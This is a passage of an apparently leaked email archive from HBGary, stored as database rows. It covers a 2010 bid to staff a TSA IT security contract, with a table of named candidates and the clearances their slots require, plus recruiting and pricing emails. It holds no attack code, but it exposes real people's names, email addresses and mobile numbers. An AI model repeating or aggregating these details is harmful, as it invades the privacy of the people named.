\r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE GOVERNANCE SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Team Lead, IT\r\n  Security Architecture \r\n  \r\n  \r\n  Jason\r\n  Kobes, NGC\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Team Lead, Policy\r\n  Analyst \r\n  \r\n  \r\n  Daryl\r\n  Young, Telos\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Top Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE TECHNICAL SERVICES SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Team Lead, Digital\r\n  Forensics Analyst \r\n  \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Experience working with\r\n  legal professionals on cases. Experience must be clearly identified in\r\n  resume. \r\n  &nbsp;\r\n  Management experience\r\n  leading a team of E-Discovery Analysts in day-to-day operations. \r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Team Lead,\r\n  E-Discovery \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  Experience utilizing and\r\n  evaluating results from the following set of E- Discovery tools including but\r\n  not limited to: Attenex, Autonomy, and Concordance. \r\n  &nbsp;\r\n  E-mail recovery tools\r\n  including but not limited to: Kroll Ontrack Power Controls and Paraben E-mail\r\n  Examiner. \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Team Lead, Security\r\n  Operations Center (SOC) Management \r\n  \r\n  \r\n  Jerry\r\n  Harold, Secure Info\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Team Lead, Incident\r\n  Response \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Ability to track multiple\r\n  incident reports from external organizations and respond with status. \r\n  &nbsp;\r\n  Experience orchestrating\r\n  incident investigations among multiple external (i.e. external agencies) and\r\n  internal stakeholders. \r\n  &nbsp;\r\n  Previous management or\r\n  supervisory experience leading a team of Incident Responders in day to day\r\n  operations; \r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Team Lead, Threat\r\n  and Vulnerability Analyst \r\n  \r\n  \r\n  Michael\r\n  Remen, Telos\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  12\r\n  \r\n  \r\n  Team Lead, Cyber\r\n  Intelligence \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Experience with different\r\n  collection methods, i.e. Humint, Sigint, etc. \r\n  \r\n \r\n \r\n  \r\n  13\r\n  \r\n  \r\n  Team Lead,\r\n  Communication Security (COMSEC) Engineer \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  &nbsp;\r\n  Previous experience working\r\n  in a federal environment on a COMSEC account of similar size, scope, and\r\n  complexity. Resume must clearly identify previous experience. \r\n  &#8226; Trained and\r\n  certified with LMD/KP and EKMS. \r\n  &#8226; Possess NSA IAEC\r\n  2112 or DHS COMSEC Course of Instruction. \r\n  &#8226; Experience with\r\n  secure telephony devices to include but not limited to: Secure Terminal\r\n  Equipment, Wireline terminals, secure cellular phones, Iridium, and secure\r\n  data transfer devices). \r\n  &#8226; Experience with\r\n  COMSEC Accounting Systems such as Distributed Information Security Accounting\r\n  System (DIAS). \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  CYBER CRITICAL\r\n  INFRASTRUCTURE AND PLANNING (CCIP) SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  14\r\n  \r\n  \r\n  Program Analyst,\r\n  CCIP \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  Prior experience in\r\n  information collection report (ICR) postings in the Federal Register and\r\n  ROCIS; \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5603,'aaron_hbgary_com/5603.html'),(10420,'2010-08-16','\"Andrew Fehretdinov\" <afehretdinov@digitalmanagement.com>','/aaron@hbgary.com/new/1297008116.M534106P14101Q5275.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Target Rates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nPlease provide your target Government\r\nand Contractor Site rates on the attached template. You may provide as many or\r\nas few rates as you wish. DMI is using a standard escalation rate of 2.5% and\r\n1,920 productive hours for all positions &#8211; please use these assumptions\r\nto ensure we have a&nbsp; consistent approach. DMI is not providing target\r\nrates at this time &#8211; however, we may do so based on the results of this\r\ninitial step. If you have any questions, please let me know.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAndrew Fehretdinov\r\n\r\nDirector of Finance &amp;\r\nContracts\r\n\r\nDigital Management, Inc.\r\n\r\nWork: 240-223-4804\r\n\r\nMobile: 703-946-9261\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6731,'aaron_hbgary_com/6731.html'),(10421,'2010-08-17','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008116.M871695P14101Q5276.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Need better/more resumes by end of Wed...only 60% compliant','If I had your Rolodex and contacts, &nbsp;I\'d focus just on filling these slots. &nbsp;Guarantees you early revenue !-John&nbsp;VPDigital Management, Inc.301-346-6749 cellBegin forwarded message:From: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;Date: August 16, 2010 7:45:59 PM EDTTo: \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;, Bruce Friedman &lt;bruce.friedman@ngc.com&gt;, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;, \"jwootton@palantir.com\" &lt;jwootton@palantir.com&gt;, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;, Martin Fertal &lt;Martin.Fertal@TASC.com&gt;, \"msteckman@palantir.com\" &lt;msteckman@palantir.com&gt;, \"patricia.krajeski@tasc.com\" &lt;patricia.krajeski@tasc.com&gt;, Paul Meaney &lt;paul.meaney@ngc.com&gt;, \"paul.kuttner@tasc.com\" &lt;paul.kuttner@tasc.com&gt;, \"rob.wilson@telos.com\" &lt;rob.wilson@telos.com&gt;, \"robert.sanderson@telos.com\" &lt;robert.sanderson@telos.com&gt;, \"sondra.spalding@tasc.com\" &lt;sondra.spalding@tasc.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"tom.leahy@telos.com\" &lt;tom.leahy@telos.com&gt;, \"tom.ryder@telos.com\" &lt;tom.ryder@telos.com&gt;, \"William E. Miller\" &lt;wmiller@digitalmanagement.com&gt;, William Luti &lt;wluti@digitalmanagement.com&gt;Subject: Need better/more resumes by end of Wed...only 60% compliant\r\n\r\n\r\n\r\nAll-\r\n\r\n&nbsp;\r\n\r\nBelow are the current “best”\r\nslotting for personnel.&nbsp; Note we are missing 5 of the 14 key personnel. Of\r\nthe 50+ resumes we received, only a handful filled the key slots noted.\r\n\r\n&nbsp;\r\n\r\nI need you to reach back to\r\nyour staffing people tonight/first thing tomorrow, &nbsp;to work against the\r\nactual job descriptions – as many of the resumes were incredible but did\r\nnot meet the criteria.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI’ve noted the most critical\r\nrequirements in the requirements below, but please be sure to refer your\r\nstaffing people to the Labor Categories pdf I’ve also attached.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  ITSSS\r\n  Key Personnel Positions\r\n  \r\n  \r\n  Resume\r\n  Name\r\n  \r\n  \r\n  Years\r\n  Exp.\r\n  Req.\r\n  \r\n  \r\n  Clearance\r\n  Req.\r\n  \r\n  \r\n  Other\r\n  Requirements\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE COMPLIANCE SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Team Lead,\r\n  Certification &amp; Accreditation \r\n  \r\n  \r\n  Tim\r\n  Barone, Telos\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Team Lead, Federal\r\n  Information Security Management Act (FISMA) \r\n  \r\n  \r\n  Mingyu\r\n  Lee, Secure Info\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Team Lead,\r\n  Information Technology Training and Awareness \r\n  \r\n  \r\n  Casey\r\n  Fiscus, TASC\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Information Systems\r\n  Security Officer\r\n  \r\n  \r\n  John Dianni, Secure\r\n  Info\r\n  Richard Galcyznski,\r\n  Telos\r\n  \r\n  \r\n  3-6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE GOVERNANCE SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Team Lead, IT\r\n  Security Architecture \r\n  \r\n  \r\n  Jason\r\n  Kobes, NGC\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Team Lead, Policy\r\n  Analyst \r\n  \r\n  \r\n  Daryl\r\n  Young, Telos\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Top Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE TECHNICAL SERVICES SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Team Lead, Digital\r\n  Forensics Analyst \r\n  \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Experience working with\r\n  legal professionals on cases. Experience must be clearly identified in\r\n  resume. \r\n  &nbsp;\r\n  Management experience\r\n  leading a team of E-Discovery Analysts in day-to-day operations. \r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Team Lead,\r\n  E-Discovery \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  Experience utilizing and\r\n  evaluating results from the following set of E- Discovery tools including but\r\n  not limited to: Attenex, Autonomy, and Concordance. \r\n  &nbsp;\r\n  E-mail recovery tools\r\n  including but not limited to: Kroll Ontrack Power Controls and Paraben E-mail\r\n  Examiner. \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Team Lead, Security\r\n  Operations Center (SOC) Management \r\n  \r\n  \r\n  Jerry\r\n  Harold, Secure Info\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Team Lead, Incident\r\n  Response \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Ability to track multiple\r\n  incident reports from external organizations and respond with status. \r\n  &nbsp;\r\n  Experience orchestrating\r\n  incident investigations among multiple external (i.e. external agencies) and\r\n  internal stakeholders. \r\n  &nbsp;\r\n  Previous management or\r\n  supervisory experience leading a team of Incident Responders in day to day\r\n  operations; \r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Team Lead, Threat\r\n  and Vulnerability Analyst \r\n  \r\n  \r\n  Michael\r\n  Remen, Telos\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  12\r\n  \r\n  \r\n  Team Lead, Cyber\r\n  Intelligence \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Experience with different\r\n  collection methods, i.e. Humint, Sigint, etc. \r\n  \r\n \r\n \r\n  \r\n  13\r\n  \r\n  \r\n  Team Lead,\r\n  Communication Security (COMSEC) Engineer \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  &nbsp;\r\n  Previous experience working\r\n  in a federal environment on a COMSEC account of similar size, scope, and\r\n  complexity. Resume must clearly identify previous experience. \r\n  • Trained and\r\n  certified with LMD/KP and EKMS. \r\n  • Possess NSA IAEC\r\n  2112 or DHS COMSEC Course of Instruction. \r\n  • Experience with\r\n  secure telephony devices to include but not limited to: Secure Terminal\r\n  Equipment, Wireline terminals, secure cellular phones, Iridium, and secure\r\n  data transfer devices). \r\n  • Experience with\r\n  COMSEC Accounting Systems such as Distributed Information Security Accounting\r\n  System (DIAS). \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  CYBER CRITICAL\r\n  INFRASTRUCTURE AND PLANNING (CCIP) SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  14\r\n  \r\n  \r\n  Program Analyst,\r\n  CCIP \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  Prior experience in\r\n  information collection report (ICR) postings in the Federal Register and\r\n  ROCIS; \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\"Leading Government Transformation\"\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12838,'aaron_hbgary_com/12838.html'),(10422,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008117.M163181P14101Q5277.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Need better/more resumes by end of Wed...only 60% compliant','Rgr. I was going to start hitting it hard tonight. AaronSent from my iPhoneOn Aug 16, 2010, at 8:58 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\nIf I had your Rolodex and contacts,  I&#39;d focus just on filling these slots.  Guarantees you early revenue !-John \r\nVPDigital Management, Inc.301-346-6749 cellBegin forwarded message:From: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nDate: August 16, 2010 7:45:59 PM EDTTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, Bruce Friedman &lt;bruce.friedman@ngc.com&gt;, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;, &quot;jwootton@palantir.com&quot; &lt;jwootton@palantir.com&gt;, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;, Martin Fertal &lt;Martin.Fertal@TASC.com&gt;, &quot;msteckman@palantir.com&quot; &lt;msteckman@palantir.com&gt;, &quot;patricia.krajeski@tasc.com&quot; &lt;patricia.krajeski@tasc.com&gt;, Paul Meaney &lt;paul.meaney@ngc.com&gt;, &quot;paul.kuttner@tasc.com&quot; &lt;paul.kuttner@tasc.com&gt;, &quot;rob.wilson@telos.com&quot; &lt;rob.wilson@telos.com&gt;, &quot;robert.sanderson@telos.com&quot; &lt;robert.sanderson@telos.com&gt;, &quot;sondra.spalding@tasc.com&quot; &lt;sondra.spalding@tasc.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;tom.leahy@telos.com&quot; &lt;tom.leahy@telos.com&gt;, &quot;tom.ryder@telos.com&quot; &lt;tom.ryder@telos.com&gt;, &quot;William E. Miller&quot; &lt;wmiller@digitalmanagement.com&gt;, William Luti &lt;wluti@digitalmanagement.com&gt;\r\nSubject: Need better/more resumes by end of Wed...only 60% compliant\r\n\r\n\r\n\r\nAll-\r\n\r\n \r\n\r\nBelow are the current “best”\r\nslotting for personnel.  Note we are missing 5 of the 14 key personnel. Of\r\nthe 50+ resumes we received, only a handful filled the key slots noted.\r\n\r\n \r\n\r\nI need you to reach back to\r\nyour staffing people tonight/first thing tomorrow,  to work against the\r\nactual job descriptions – as many of the resumes were incredible but did\r\nnot meet the criteria.  \r\n\r\n \r\n\r\nI’ve noted the most critical\r\nrequirements in the requirements below, but please be sure to refer your\r\nstaffing people to the Labor Categories pdf I’ve also attached.\r\n\r\n \r\n\r\nThanks,\r\n\r\n-John\r\n\r\n \r\n\r\n \r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  ITSSS\r\n  Key Personnel Positions\r\n  \r\n  \r\n  Resume\r\n  Name\r\n  \r\n  \r\n  Years\r\n  Exp.\r\n  Req.\r\n  \r\n  \r\n  Clearance\r\n  Req.\r\n  \r\n  \r\n  Other\r\n  Requirements\r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE COMPLIANCE SECTION \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Team Lead,\r\n  Certification &amp; Accreditation \r\n  \r\n  \r\n  Tim\r\n  Barone, Telos\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Team Lead, Federal\r\n  Information Security Management Act (FISMA) \r\n  \r\n  \r\n  Mingyu\r\n  Lee, Secure Info\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Team Lead,\r\n  Information Technology Training and Awareness \r\n  \r\n  \r\n  Casey\r\n  Fiscus, TASC\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Information Systems\r\n  Security Officer\r\n  \r\n  \r\n  John Dianni, Secure\r\n  Info\r\n  Richard Galcyznski,\r\n  Telos\r\n  \r\n  \r\n  3-6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE GOVERNANCE SECTION \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Team Lead, IT\r\n  Security Architecture \r\n  \r\n  \r\n  Jason\r\n  Kobes, NGC\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Team Lead, Policy\r\n  Analyst \r\n  \r\n  \r\n  Daryl\r\n  Young, Telos\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Top Secret\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE TECHNICAL SERVICES SECTION \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Team Lead, Digital\r\n  Forensics Analyst \r\n  \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Experience working with\r\n  legal professionals on cases. Experience must be clearly identified in\r\n  resume. \r\n   \r\n  Management experience\r\n  leading a team of E-Discovery Analysts in day-to-day operations. \r\n   \r\n   \r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Team Lead,\r\n  E-Discovery \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  Experience utilizing and\r\n  evaluating results from the following set of E- Discovery tools including but\r\n  not limited to: Attenex, Autonomy, and Concordance. \r\n   \r\n  E-mail recovery tools\r\n  including but not limited to: Kroll Ontrack Power Controls and Paraben E-mail\r\n  Examiner. \r\n   \r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Team Lead, Security\r\n  Operations Center (SOC) Management \r\n  \r\n  \r\n  Jerry\r\n  Harold, Secure Info\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Team Lead, Incident\r\n  Response \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Ability to track multiple\r\n  incident reports from external organizations and respond with status. \r\n   \r\n  Experience orchestrating\r\n  incident investigations among multiple external (i.e. external agencies) and\r\n  internal stakeholders. \r\n   \r\n  Previous management or\r\n  supervisory experience leading a team of Incident Responders in day to day\r\n  operations; \r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Team Lead, Threat\r\n  and Vulnerability Analyst \r\n  \r\n  \r\n  Michael\r\n  Remen, Telos\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  12\r\n  \r\n  \r\n  Team Lead, Cyber\r\n  Intelligence \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  Experience with different\r\n  collection methods, i.e. Humint, Sigint, etc. \r\n  \r\n \r\n \r\n  \r\n  13\r\n  \r\n  \r\n  Team Lead,\r\n  Communication Security (COMSEC) Engineer \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n   \r\n  Previous experience working\r\n  in a federal environment on a COMSEC account of similar size, scope, and\r\n  complexity. Resume must clearly identify previous experience. \r\n  • Trained and\r\n  certified with LMD/KP and EKMS. \r\n  • Possess NSA IAEC\r\n  2112 or DHS COMSEC Course of Instruction. \r\n  • Experience with\r\n  secure telephony devices to include but not limited to: Secure Terminal\r\n  Equipment, Wireline terminals, secure cellular phones, Iridium, and secure\r\n  data transfer devices). \r\n  • Experience with\r\n  COMSEC Accounting Systems such as Distributed Information Security Accounting\r\n  System (DIAS). \r\n   \r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n  CYBER CRITICAL\r\n  INFRASTRUCTURE AND PLANNING (CCIP) SECTION \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  14\r\n  \r\n  \r\n  Program Analyst,\r\n  CCIP \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  Prior experience in\r\n  information collection report (ICR) postings in the Federal Register and\r\n  ROCIS; \r\n   \r\n  \r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n-John\r\n\r\n \r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12177,'aaron_hbgary_com/12177.html'),(10423,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008117.M389746P14101Q5278.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Jobs','OK guys I really need your help.  I have jobs to fill both available immediately and if we win the TSA ITSSS contract (which we have a good shot).\r\n\r\nHere is what I am looking for:\r\nClassified Customer Virginia:\r\nReverse Engineers (requires full scope poly)\r\n\r\nNSA:\r\nMalware analyst, Intel Analyst, Cyber Analysts (requires full scope poly)\r\n\r\nTSA (this is if we win the contract but I need resumes now):\r\nLead Digital Forensics:\r\nLead SOC:\r\nLead Cyber Intelligence:\r\nLead Incident Response:\r\nLead Threat Management:\r\n\r\nAny contacts would be very very helpful.  These are all multi year contracts, but I just need people to fill now, if they don\'t like the particular job/area we can switch them around as we get more work.\r\n\r\nThanks,\r\nAaron',37,'aaron_hbgary_com/37.html'),(10424,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008117.M615128P14101Q5279.eml','\"Leibner, Lincoln D LTC MIL USA OSA\" <lincoln.leibner@us.army.mil>','Re: Attribution','Lincoln,\r\n\r\nThats ok.  Thank you for considering it.  We have had some success but I realize the difficulty with certain data sets.  I think we are making some good progress on approaches to attribution.  We are working closely with Palantir and EndGames to build datasets off of the malware clustering work we did.\r\n\r\nLook forward to seeing you at some of Brian\'s get togethers.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 15, 2010, at 9:21 AM, Leibner, Lincoln D LTC MIL USA OSA 